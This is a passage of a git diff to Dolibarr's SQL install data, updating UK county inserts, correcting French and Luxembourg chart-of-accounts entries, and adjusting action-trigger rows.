VALUES ('747', 701, NULL, 0,NULL, 'Surrey'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('748', 701, NULL, 0,NULL, 'Sussex'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('749', 701, NULL, 0,NULL, 'Tyne and Wear'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('750', 701, NULL, 0,NULL, 'Warwickshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('751', 701, NULL, 0,NULL, 'West Midlands'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('752', 701, NULL, 0,NULL, 'West Sussex'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('753', 701, NULL, 0,NULL, 'West Yorkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('754', 701, NULL, 0,NULL, 'West Riding of Yorkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('755', 701, NULL, 0,NULL, 'Wiltshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('756', 701, NULL, 0,NULL, 'Worcestershire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('757', 701, NULL, 0,NULL, 'Yorkshire'); -- Wales -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('758', 702, NULL, 0,NULL, 'Anglesey', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('759', 702, NULL, 0,NULL, 'Breconshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('760', 702, NULL, 0,NULL, 'Caernarvonshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('761', 702, NULL, 0,NULL, 'Cardiganshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('762', 702, NULL, 0,NULL, 'Carmarthenshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('763', 702, NULL, 0,NULL, 'Ceredigion', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('764', 702, NULL, 0,NULL, 'Denbighshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('765', 702, NULL, 0,NULL, 'Flintshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('766', 702, NULL, 0,NULL, 'Glamorgan', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('767', 702, NULL, 0,NULL, 'Gwent', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('768', 702, NULL, 0,NULL, 'Gwynedd', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('769', 702, NULL, 0,NULL, 'Merionethshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('770', 702, NULL, 0,NULL, 'Monmouthshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('771', 702, NULL, 0,NULL, 'Mid Glamorgan', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('772', 702, NULL, 0,NULL, 'Montgomeryshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('773', 702, NULL, 0,NULL, 'Pembrokeshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('774', 702, NULL, 0,NULL, 'Powys', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('775', 702, NULL, 0,NULL, 'Radnorshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('776', 702, NULL, 0,NULL, 'South Glamorgan', 1); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('758', 702, NULL, 0,NULL, 'Anglesey'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('759', 702, NULL, 0,NULL, 'Breconshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('760', 702, NULL, 0,NULL, 'Caernarvonshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('761', 702, NULL, 0,NULL, 'Cardiganshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('762', 702, NULL, 0,NULL, 'Carmarthenshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('763', 702, NULL, 0,NULL, 'Ceredigion'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('764', 702, NULL, 0,NULL, 'Denbighshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('765', 702, NULL, 0,NULL, 'Flintshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('766', 702, NULL, 0,NULL, 'Glamorgan'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('767', 702, NULL, 0,NULL, 'Gwent'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('768', 702, NULL, 0,NULL, 'Gwynedd'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('769', 702, NULL, 0,NULL, 'Merionethshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('770', 702, NULL, 0,NULL, 'Monmouthshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('771', 702, NULL, 0,NULL, 'Mid Glamorgan'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('772', 702, NULL, 0,NULL, 'Montgomeryshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('773', 702, NULL, 0,NULL, 'Pembrokeshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('774', 702, NULL, 0,NULL, 'Powys'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('775', 702, NULL, 0,NULL, 'Radnorshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('776', 702, NULL, 0,NULL, 'South Glamorgan'); -- Scotland -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('777', 703, NULL, 0,NULL, 'Aberdeen, City of', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('778', 703, NULL, 0,NULL, 'Angus', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('779', 703, NULL, 0,NULL, 'Argyll', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('780', 703, NULL, 0,NULL, 'Ayrshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('781', 703, NULL, 0,NULL, 'Banffshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('782', 703, NULL, 0,NULL, 'Berwickshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('783', 703, NULL, 0,NULL, 'Bute', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('784', 703, NULL, 0,NULL, 'Caithness', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('785', 703, NULL, 0,NULL, 'Clackmannanshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('786', 703, NULL, 0,NULL, 'Dumfriesshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('787', 703, NULL, 0,NULL, 'Dumbartonshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('788', 703, NULL, 0,NULL, 'Dundee, City of', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('789', 703, NULL, 0,NULL, 'East Lothian', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('790', 703, NULL, 0,NULL, 'Fife', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('791', 703, NULL, 0,NULL, 'Inverness', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('792', 703, NULL, 0,NULL, 'Kincardineshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('793', 703, NULL, 0,NULL, 'Kinross-shire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('794', 703, NULL, 0,NULL, 'Kirkcudbrightshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('795', 703, NULL, 0,NULL, 'Lanarkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('796', 703, NULL, 0,NULL, 'Midlothian', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('797', 703, NULL, 0,NULL, 'Morayshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('798', 703, NULL, 0,NULL, 'Nairnshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('799', 703, NULL, 0,NULL, 'Orkney', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('800', 703, NULL, 0,NULL, 'Peebleshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('801', 703, NULL, 0,NULL, 'Perthshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('802', 703, NULL, 0,NULL, 'Renfrewshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('803', 703, NULL, 0,NULL, 'Ross & Cromarty', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('804', 703, NULL, 0,NULL, 'Roxburghshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('805', 703, NULL, 0,NULL, 'Selkirkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('806', 703, NULL, 0,NULL, 'Shetland', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('807', 703, NULL, 0,NULL, 'Stirlingshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('808', 703, NULL, 0,NULL, 'Sutherland', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('809', 703, NULL, 0,NULL, 'West Lothian', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('810', 703, NULL, 0,NULL, 'Wigtownshire', 1); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('777', 703, NULL, 0,NULL, 'Aberdeen, City of'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('778', 703, NULL, 0,NULL, 'Angus'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('779', 703, NULL, 0,NULL, 'Argyll'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('780', 703, NULL, 0,NULL, 'Ayrshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('781', 703, NULL, 0,NULL, 'Banffshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('782', 703, NULL, 0,NULL, 'Berwickshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('783', 703, NULL, 0,NULL, 'Bute'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('784', 703, NULL, 0,NULL, 'Caithness'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('785', 703, NULL, 0,NULL, 'Clackmannanshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('786', 703, NULL, 0,NULL, 'Dumfriesshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('787', 703, NULL, 0,NULL, 'Dumbartonshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('788', 703, NULL, 0,NULL, 'Dundee, City of'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('789', 703, NULL, 0,NULL, 'East Lothian'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('790', 703, NULL, 0,NULL, 'Fife'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('791', 703, NULL, 0,NULL, 'Inverness'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('792', 703, NULL, 0,NULL, 'Kincardineshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('793', 703, NULL, 0,NULL, 'Kinross-shire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('794', 703, NULL, 0,NULL, 'Kirkcudbrightshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('795', 703, NULL, 0,NULL, 'Lanarkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('796', 703, NULL, 0,NULL, 'Midlothian'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('797', 703, NULL, 0,NULL, 'Morayshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('798', 703, NULL, 0,NULL, 'Nairnshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('799', 703, NULL, 0,NULL, 'Orkney'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('800', 703, NULL, 0,NULL, 'Peebleshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('801', 703, NULL, 0,NULL, 'Perthshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('802', 703, NULL, 0,NULL, 'Renfrewshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('803', 703, NULL, 0,NULL, 'Ross & Cromarty'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('804', 703, NULL, 0,NULL, 'Roxburghshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('805', 703, NULL, 0,NULL, 'Selkirkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('806', 703, NULL, 0,NULL, 'Shetland'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('807', 703, NULL, 0,NULL, 'Stirlingshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('808', 703, NULL, 0,NULL, 'Sutherland'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('809', 703, NULL, 0,NULL, 'West Lothian'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('810', 703, NULL, 0,NULL, 'Wigtownshire'); -- Northern Ireland -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('811', 704, NULL, 0,NULL, 'Antrim', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('812', 704, NULL, 0,NULL, 'Armagh', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('813', 704, NULL, 0,NULL, 'Co. Down', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('814', 704, NULL, 0,NULL, 'Co. Fermanagh', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('815', 704, NULL, 0,NULL, 'Co. Londonderry', 1); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('811', 704, NULL, 0,NULL, 'Antrim'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('812', 704, NULL, 0,NULL, 'Armagh'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('813', 704, NULL, 0,NULL, 'Co. Down'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('814', 704, NULL, 0,NULL, 'Co. Fermanagh'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('815', 704, NULL, 0,NULL, 'Co. Londonderry'); -- Provinces India (id country=117) diff --git a/htdocs/install/mysql/data/llx_accounting_account_fr.sql b/htdocs/install/mysql/data/llx_accounting_account_fr.sql index 4520969f82b..4c24d63e5b1 100644 --- a/htdocs/install/mysql/data/llx_accounting_account_fr.sql +++ b/htdocs/install/mysql/data/llx_accounting_account_fr.sql @@ -824,7 +824,7 @@ INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, acc INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5317,'PCG14-DEV','STOCK','3312',5315,'Produits en cours P 2','1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5318,'PCG14-DEV','STOCK','335',5314,'Travaux en cours','1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5319,'PCG14-DEV','STOCK','3351',5318,'Travaux en cours T 1','1'); -INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5320,'PCG14-DEV','STOCK','3552',5318,'Travaux en cours T 2','1'); +INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5320,'PCG14-DEV','STOCK','3352',5318,'Travaux en cours T 2','1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5321,'PCG14-DEV','STOCK','34',5969,'En-cours de production de services','1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5322,'PCG14-DEV','STOCK','341',5321,'Etudes en cours','1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 5323,'PCG14-DEV','STOCK','3411',5322,'Etudes en cours E 1','1'); diff --git a/htdocs/install/mysql/data/llx_accounting_account_lu.sql b/htdocs/install/mysql/data/llx_accounting_account_lu.sql index 831ac6b8f08..06d4def6b51 100644 --- a/htdocs/install/mysql/data/llx_accounting_account_lu.sql +++ b/htdocs/install/mysql/data/llx_accounting_account_lu.sql @@ -207,7 +207,7 @@ INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, acc INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17201, 'PCN2020-LUXEMBURG', 'ASSETS', '41229', 0, 'Corrections de valeur', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17202, 'PCN2020-LUXEMBURG', 'ASSETS', '42111', 0, 'Avances et acomptes', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17203, 'PCN2020-LUXEMBURG', 'ASSETS', '42119', 0, 'Corrections de valeur', '1'); -INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17204, 'PCN2020-LUXEMBURG', 'ASSETS', '4212', 0, 'Cr./assoc. ou act.(aut. qu'ent. liées)', '1'); +INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17204, 'PCN2020-LUXEMBURG', 'ASSETS', '4212', 0, 'Cr./assoc. ou act.(aut. qu’ent. liées)', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17205, 'PCN2020-LUXEMBURG', 'ASSETS', '42121', 0, 'De Franco Vincent', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17206, 'PCN2020-LUXEMBURG', 'ASSETS', '42131', 0, 'Subventions d’investissement', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17207, 'PCN2020-LUXEMBURG', 'ASSETS', '42132', 0, 'Subventions d’exploitation', '1'); @@ -237,7 +237,7 @@ INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, acc INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17231, 'PCN2020-LUXEMBURG', 'ASSETS', '42188', 0, 'Autres créances diverses', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17232, 'PCN2020-LUXEMBURG', 'ASSETS', '42189', 0, 'Corrections de valeur', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17233, 'PCN2020-LUXEMBURG', 'ASSETS', '4221', 0, 'Personnel - Avances et acomptes', '1'); -INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17234, 'PCN2020-LUXEMBURG', 'ASSETS', '4222', 0, 'Cr./assoc. ou act.(aut. qu'ent. liées)', '1'); +INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17234, 'PCN2020-LUXEMBURG', 'ASSETS', '4222', 0, 'Cr./assoc. ou act.(aut. qu’ent. liées)', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17235, 'PCN2020-LUXEMBURG', 'ASSETS', '42231', 0, 'Subventions d’investissement', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17236, 'PCN2020-LUXEMBURG', 'ASSETS', '42232', 0, 'Subventions d’exploitation', '1'); INSERT INTO llx_accounting_account (entity, rowid, fk_pcg_version, pcg_type, account_number, account_parent, label, active) VALUES (__ENTITY__, 17237, 'PCN2020-LUXEMBURG', 'ASSETS', '42238', 0, 'Autres subventions', '1'); diff --git a/htdocs/install/mysql/data/llx_c_action_trigger.sql b/htdocs/install/mysql/data/llx_c_action_trigger.sql index 83d4bb6e775..0216d567591 100644 --- a/htdocs/install/mysql/data/llx_c_action_trigger.sql +++ b/htdocs/install/mysql/data/llx_c_action_trigger.sql @@ -119,14 +119,12 @@ insert into llx_c_action_trigger (code,label,description,elementtype,rang) value insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('EXPENSE_REPORT_APPROVE','Expense report approved','Executed when an expense report is approved','expensereport',203); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('EXPENSE_REPORT_PAID','Expense report billed','Executed when an expense report is set as billed','expensereport',204); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('EXPENSE_REPORT_DELETE','Expense report deleted','Executed when an expense report is deleted','expensereport',205); -insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_VALIDATE','Expense report validated','Executed when an expense report is validated','expensereport',211); -insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_MODIFY','Expense report modified','Executed when an expense report is modified','expensereport',212); -insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_APPROVE','Expense report approved','Executed when an expense report is approved','expensereport',212); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_CREATE','Project creation','Executed when a project is created','project',140); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_VALIDATE','Project validation','Executed when a project is validated','project',141); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_MODIFY','Project modified','Executed when a project is modified','project',142); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_DELETE','Project deleted','Executed when a project is deleted','project',143); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_SENTBYMAIL','Project sent by mail','Executed when a project is sent by email','project',144); +insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('PROJECT_CLOSE','Project closed','Executed when a project is closed','project',145); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('TICKET_CREATE','Ticket created','Executed when a ticket is created','ticket',161); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('TICKET_MODIFY','Ticket modified','Executed when a ticket is modified','ticket',163); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('TICKET_ASSIGNED','Ticket assigned','Executed when a ticket is modified','ticket',164); @@ -153,6 +151,8 @@ insert into llx_c_action_trigger (code,label,description,elementtype,rang) value insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('CONTACT_MODIFY','Contact address update','Executed when a contact is updated','contact',51); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('CONTACT_SENTBYMAIL','Mails sent from third party card','Executed when you send email from contact address record','contact',52); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('CONTACT_DELETE','Contact address deleted','Executed when a contact is deleted','contact',53); + +-- recruitment module insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('RECRUITMENTJOBPOSITION_CREATE','Job created','Executed when a job is created','recruitment',7500); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('RECRUITMENTJOBPOSITION_MODIFY','Job modified','Executed when a job is modified','recruitment',7502); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('RECRUITMENTJOBPOSITION_SENTBYMAIL','Mails sent from job record','Executed when you send email from job record','recruitment',7504); @@ -172,7 +172,7 @@ insert into llx_c_action_trigger (code,label,description,elementtype,rang) value insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_CREATE','Holiday created','Executed when a holiday is created','holiday',800); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_MODIFY','Holiday modified','Executed when a holiday is modified','holiday',801); insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_VALIDATE','Holiday validated','Executed when a holiday is validated','holiday',802); -insert into llx_c_action_trigger (code,label,description,elementtype,rang) values ('HOLIDAY_APPROVE','Holiday aprouved','Executed when a holiday is 